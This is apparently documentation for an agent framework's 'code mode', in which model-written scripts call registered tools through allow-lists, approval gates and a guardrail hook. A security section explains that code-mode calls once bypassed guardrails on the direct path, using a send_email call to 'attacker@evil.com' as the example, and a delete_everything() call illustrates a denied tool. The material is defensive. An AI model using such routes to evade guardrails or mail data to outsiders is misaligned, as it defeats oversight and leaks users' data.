Code Execution with Tools

Let model-generated code call your registered tools directly — collapse multi-step pipelines into a single turn

Model-generated code can call your registered tools directly, collapsing multi-step tool pipelines into a single LLM turn.

python
from praisonaiagents import Agent, ExecutionConfig

agent = Agent(
    name="bridge-agent",
    instructions="Use code mode to chain tools in one turn.",
    execution=ExecutionConfig(code_tools=True),
)
agent.start("Fetch weather and format a summary in one script.")

The user asks for a multi-step task; the agent emits code that calls registered tools through the in-process bridge.

Diagram

Code Mode Tool Bridge

request

emits script

inject proxies

approval gate

yes

no

result

final value only

response

👤 User

🤖 Agent

⚙️ In-Process Executor

🔗 Tool Proxies

✅ Approved?

🔧 Real Tool

❌ PermissionError

Quick Start

  1. Enable Tool Bridge on an Agent

    Register tools on the agent and enable code_tools in ExecutionConfig.

    python
    from praisonaiagents import Agent, ExecutionConfig
    
    def fetch(url: str) -> str:
        import urllib.request
        with urllib.request.urlopen(url) as r:
            return r.read(4096).decode()
    
    def extract_price(html: str) -> float:
        import re
        m = re.search(r'\$([0-9]+\.[0-9]{2})', html)
        return float(m.group(1)) if m else 0.0
    
    agent = Agent(
        name="Cheapest Picker",
        instructions="Find the cheapest item across the given URLs.",
        tools=[fetch, extract_price],
        execution=ExecutionConfig(
            code_execution=True,
            code_tools=True,
            code_tools_allow=["fetch", "extract_price"],
        ),
    )
    
    agent.start("Compare prices at https://example.com/a and https://example.com/b and return the cheapest.")
  2. Low-Level: Call the Executor Directly

    Use execute_code_with_tools when you need to run a script outside an agent.

    python
    from praisonaiagents.tools import execute_code_with_tools
    
    def fetch(url: str) -> str:
        return f"<price>$9.99</price>"
    
    def extract_price(html: str) -> float:
        import re
        m = re.search(r'\$([0-9]+\.[0-9]{2})', html)
        return float(m.group(1)) if m else 0.0
    
    result = execute_code_with_tools(
        code="""
    urls = ['https://example.com/a', 'https://example.com/b']
    best = min(extract_price(fetch(u)) for u in urls)
    best
    """,
        allowed_tools=["fetch", "extract_price"],
    )
    print(result["result"])   # 9.99

Why Use Code Mode?

Before code mode, fetching 20 URLs required 20 LLM round-trips and 20 page bodies entering the context window.

After code mode, the model emits one short script — best = min(extract_price(fetch(u)) for u in urls) — executed in a single turn. Only the final value returns to the model.

Diagram

After: Code Mode

emit script

calls tools internally

🤖 Agent

⚙️ Executor

✅ Result only

Before: Plain Tool Calling

call fetch

html 1

call fetch

html 2

…20 round-trips

html N

compare all

🤖 Agent

fetch url 1

fetch url 2

fetch url N

✅ Result

Three wins:

  • Fewer LLM round-trips — one turn instead of N
  • Less context-window pollution — intermediate results never enter the model
  • Lower cost and latency — especially on tool-heavy pipelines

How It Works

Diagram
ToolApprovalPolicyEngine + guardrailsExecutorLLMAgentUserToolApprovalPolicyEngine + guardrailsExecutorLLMAgentUseralt[approval modified args]RequestPrompt with tool signaturesPython scriptexecute_code_with_tools(script, allowed_tools, policy_hook)Inject tool proxies into namespacepolicy_hook(name, kwargs)allow / rewrite / denyrequest_approval(name, effective_kwargs)approved / modified_argsre-authorise on modified_argsallow / denycall with final kwargsResultFinal value onlyResponse

Intermediate tool results stay inside the executor and never re-enter the model’s context. The PolicyEngine + guardrails step runs the same policy/guardrail chain as the normal tool-call loop — see Same gates as direct tool calls below.


Same gates as direct tool calls

A code-mode tool call now goes through the exact same policy/guardrail chain as the normal tool-call loop. Before dispatch, the agent threads a policy_hook into every code-mode call that runs, in order:

  1. _check_permission_manager_deny — any PermissionManager / PolicyEngine.check_tool(...) deny-rule.
  2. _check_tool_policy_and_guardrails — agent-wide guardrails= on Agent(...) (the _tool_call_guardrails list) and per-tool @tool(input_guardrails=[...]) / @tool(output_guardrails=[...]).
  3. Approval gate — require_approval, allow-lists, and PRAISON_AUTO_APPROVE on each call.

Before this landed, only the approval gate ran on the code-mode path — a model could reach an allow-listed tool from a code_mode="unsafe" / "isolated" snippet and bypass a guardrail that blocks the same call on the direct path.

Before / after: a guardrail is no longer bypassable

python
from praisonaiagents import Agent, ExecutionConfig
from praisonaiagents.tools import tool

def internal_recipients_only(arguments):
    if not arguments.get("to", "").endswith("@corp.com"):
        return False, "outside company domain"
    return True, arguments

@tool(input_guardrails=[internal_recipients_only])
def send_email(to: str, body: str) -> str:
    """Send an email."""
    return f"sent to {to}"

agent = Agent(
    instructions="Send emails on request.",
    tools=[send_email],
    execution=ExecutionConfig(
        code_execution=True,
        code_mode="unsafe",     # or "isolated"
        code_tools=True,
        code_tools_allow=["send_email"],
    ),
)
# A code-mode snippet calling send_email(to="attacker@evil.com", ...)
# now raises PermissionError with "denied by policy: outside company domain".
# Before the fix it silently ran the send.

Guardrail rewrite is honoured

A sanitising input_guardrail that rewrites arguments is applied to the actual tool call — the rewritten args are dispatched, not discarded. This works for both positional (fetch("a")) and keyword (fetch(url="a")) call forms, because positional args are bound to parameter names via inspect.signature.bind_partial before the hook runs.

Approval rewrite is re-authorised

If the approval backend rewrites arguments (decision.modified_args), the policy/guardrail hook is re-run on the final args before dispatch — an approval rewrite cannot smuggle a call past an argument-scoped policy. This mirrors the direct path.

See Per-Tool Guardrails, Guardrails, and the Security advisory for the same fix from each angle.


Tools must also be granted to the agent

code_tools_allow is a per-run filter, not a grant. Every name it lists must also be present in Agent(tools=[...]). Code mode is scoped to a private registry built from the agent’s own tools, so a globally-registered plugin or entry-point tool the agent was never given cannot be reached — the call fails.

python
from praisonaiagents import Agent, ExecutionConfig

# fetch is on the allow-list but NOT in tools=[] → unreachable, run fails
agent = Agent(
    name="broken",
    instructions="Fetch and summarise.",
    tools=[],                                   # <- fetch missing here
    execution=ExecutionConfig(
        code_execution=True,
        code_mode="unsafe",
        code_tools=True,
        code_tools_allow=["fetch"],             # allow-list alone is not enough
    ),
)

Grant the tool on the agent as well as the allow-list:

python
agent = Agent(
    name="working",
    instructions="Fetch and summarise.",
    tools=[fetch],                              # <- granted here
    execution=ExecutionConfig(
        code_execution=True,
        code_mode="unsafe",
        code_tools=True,
        code_tools_allow=["fetch"],
    ),
)

When to Use Code Mode

Diagram

Yes

No

Yes

No

Yes

No

Many tool calls whose
intermediate results the
model doesn’t need to see?

✅ Use Code Mode

Few calls or model needs
to reason between calls?

✅ Use Plain Tool Calling

Untrusted input or
host must stay untouched?

✅ Isolated + Tools
bridge= with same allow-list

✅ Use Code Mode


Configuration Options

OptionTypeDefaultDescription
code_toolsboolFalseWhen True, model-generated code may call the agent’s registered tools via injected proxies.
code_tools_allowOptional[List[str]]NoneExplicit per-run allow-list of tool names callable from code. None or empty = no tools exposed (safe default).

Both options live on ExecutionConfig alongside code_execution and code_mode.

python
from praisonaiagents import Agent, ExecutionConfig

agent = Agent(
    name="Pipeline Agent",
    instructions="Process data efficiently.",
    tools=[fetch, parse, filter_results],
    execution=ExecutionConfig(
        code_execution=True,
        code_mode="unsafe",  # code reaches tools only in unsafe mode
        code_tools=True,
        code_tools_allow=["fetch", "parse", "filter_results"],
    ),
)

Safety

  • Opt-in only — code_tools=False by default; no tools are exposed unless you set code_tools=True.
  • Explicit allow-list required — code_tools_allow=None (the default) exposes zero tools. You must name each tool.
  • Same gates as direct tool calls — every code-mode call runs the full policy/guardrail chain (_check_permission_manager_deny → _check_tool_policy_and_guardrails → approval), identical to the normal tool-call loop. Agent-wide guardrails=, per-tool @tool(input_guardrails=/output_guardrails=), PolicyEngine, and PermissionManager deny-rules all apply. See Same gates as direct tool calls.
  • Every tool-proxy call passes the approval gate — the gate fires on each invocation, not once per run. require_approval, allow-lists, and PRAISON_AUTO_APPROVE env var all apply on every call the model’s code makes. An approval that rewrites arguments is re-authorised through the policy/guardrail hook before dispatch.
  • Approval is not sticky — a single approval does not silently unlock later calls in the same script.
  • Disallowed tool → PermissionError — attempting to call a tool not on the allow-list raises PermissionError.
  • Unregistered tool → NameError — calling a name that isn’t registered raises NameError.
  • Reserved name "tools" → ValueError — you cannot add "tools" to the allow-list; it is always the namespace object.
  • Imports and dangerous builtins remain blocked — AST + blocklist checks from execute_code still apply in code mode.
  • Two execution paths — code mode runs either in-process or isolated:
  • In-process (default) — no bridge=, same as today. The ToolProxy stores its registry and allow-list in a closure that in-process code cannot reach.
  • Isolated + tool-capable (opt-in) — supply a CodeToolBridge; the script runs under isolation and tool calls are serviced in the parent via serve_tool_call, gated by the same allow-list and approval gate. The parent never trusts the child — the allow-list, registry, timeout, and max output size are all forwarded to the bridge, so the transport is gated by the caller’s policy, not its own defaults.
python
# PermissionError: tool not on allow-list
result = execute_code_with_tools(
    code="delete_everything()",
    allowed_tools=["fetch"],   # delete_everything not listed
)

# ValueError: reserved name
execute_code_with_tools(
    code="tools.fetch('http://example.com')",
    allowed_tools=["tools"],   # raises ValueError
)

Isolated Code with Tools (Bridge)

Run code mode inside a sandbox while still calling registered tools — same allow-list, same approval gate, no in-process execution.

Diagram
Toolserve_tool_call (Parent)BridgeSandboxed ChildLLMAgentUserToolserve_tool_call (Parent)BridgeSandboxed ChildLLMAgentUseralt[approval modified args]RequestPrompt with tool signaturesPython scriptexecute_code_with_tools(script, bridge=…, policy_hook=…)run script in isolationtool call (e.g. fetch(url))serve_tool_call(name, args, allowed, registry, policy_hook)policy_hook (PolicyEngine + guardrails) → allow / rewrite / denyallow-list + approval gatere-authorise policy_hook on modified_argscall real toolresultvaluevaluefinal value{“result”, “stdout”, “stderr”, “success”}Response

Supply a bridge= object that implements run_code. The transport calls serve_tool_call in the parent for every tool request marshalled from the isolated child — never a weaker path than the in-process proxy.

python
from praisonaiagents.tools import (
    execute_code_with_tools, CodeToolBridge, serve_tool_call,
)

class MySubprocessBridge:
    """Minimal bridge that runs code in a subprocess and services tool calls
    in the parent via serve_tool_call."""
    def run_code(self, code, *, allowed_tools=(), registry=None,
                 timeout=30, max_output_size=10000):
        # (transport-specific: send code to child, receive tool-call requests,
        #  answer each one via serve_tool_call in the parent)
        value = serve_tool_call(
            "fetch", ["https://example.com"], {},
            allowed=allowed_tools, registry=registry,
        )
        return {"result": value, "stdout": str(value), "stderr": "", "success": True}

result = execute_code_with_tools(
    code="print(fetch('https://example.com'))",
    allowed_tools=["fetch"],
    bridge=MySubprocessBridge(),
)

Concrete transports (subprocess/Docker/etc.) live in the sandbox layer as follow-ups; the contract above is all a bridge needs to satisfy.

Bridge Contract

The run_code method receives the caller’s policy as keyword-only params and returns a result dict.

run_code paramTypeDefaultDescription
codestr—Script to run in the isolated child.
allowed_toolsIterable[str]()Forwarded allow-list — the only tools the child may call.
registryOptional[ToolRegistry]NoneRegistry to resolve tools against; defaults to the global registry.
timeoutint30Maximum execution time in seconds.
max_output_sizeint10000Maximum output size in characters.
Returned keyTypeDescription
resultAnyFinal value of the script.
stdoutstrCaptured standard output.
stderrstrCaptured standard error.
successboolWhether the run completed without error.

Common Patterns

Map/Reduce Over a URL List

python
from praisonaiagents import Agent, ExecutionConfig

def fetch(url: str) -> str:
    import urllib.request
    with urllib.request.urlopen(url) as r:
        return r.read(2048).decode()

def extract_price(html: str) -> float:
    import re
    m = re.search(r'\$([0-9]+\.[0-9]{2})', html)
    return float(m.group(1)) if m else 0.0

agent = Agent(
    name="Price Checker",
    instructions="Return the cheapest price found across the URLs.",
    tools=[fetch, extract_price],
    execution=ExecutionConfig(
        code_execution=True,
        code_tools=True,
        code_tools_allow=["fetch", "extract_price"],
    ),
)

agent.start("Find the cheapest across https://example.com/a https://example.com/b https://example.com/c")

Pipeline: Fetch → Parse → Filter → Summarize

python
from praisonaiagents import Agent, ExecutionConfig

def fetch(url: str) -> str: ...
def parse_records(html: str) -> list: ...
def filter_active(records: list) -> list: ...
def summarize(records: list) -> str: ...

agent = Agent(
    name="Data Pipeline",
    instructions="Fetch, parse, filter active records, and summarize.",
    tools=[fetch, parse_records, filter_active, summarize],
    execution=ExecutionConfig(
        code_execution=True,
        code_tools=True,
        code_tools_allow=["fetch", "parse_records", "filter_active", "summarize"],
    ),
)

agent.start("Process https://example.com/data")

Bare-Name vs Namespaced Calls

Inside the script, tools are callable two ways:

python
from praisonaiagents.tools import execute_code_with_tools

def double(x: int) -> int:
    return x * 2

result = execute_code_with_tools(
    code="""
# Bare-name call
a = double(5)

# Namespaced call (equivalent)
b = tools.double(x=5)

a + b
""",
    allowed_tools=["double"],
)
print(result["result"])  # 20

Best Practices

Keep the allow-list as small as possible

Only list the tools that the script genuinely needs. A smaller allow-list limits the blast radius if the model generates unexpected code.

python
# Good: minimal allow-list
code_tools_allow=["fetch", "extract_price"]

# Avoid: exposing every tool
code_tools_allow=["fetch", "extract_price", "delete_record", "send_email"]
Don't allow-list tools that mutate external state without approval

Tools that write to databases, send emails, or delete records should require explicit approval. Configure require_approval=True or use a webhook approval backend before allow-listing them.

Prefer code mode only when intermediate results are bulky or numerous

For two or three lightweight tool calls where the model needs to reason about each result, plain tool calling is simpler and easier to debug.

Register helper tools instead of importing libraries in the script

Imports in model-generated code are blocked by AST checks. Pre-register Python functions as tools so the model can call them instead of importing.

python
# Wrong: model tries to import inside the script
# import json  # blocked!

# Right: register a helper tool
def parse_json(text: str) -> dict:
    import json
    return json.loads(text)

agent = Agent(..., tools=[parse_json], ...)

Related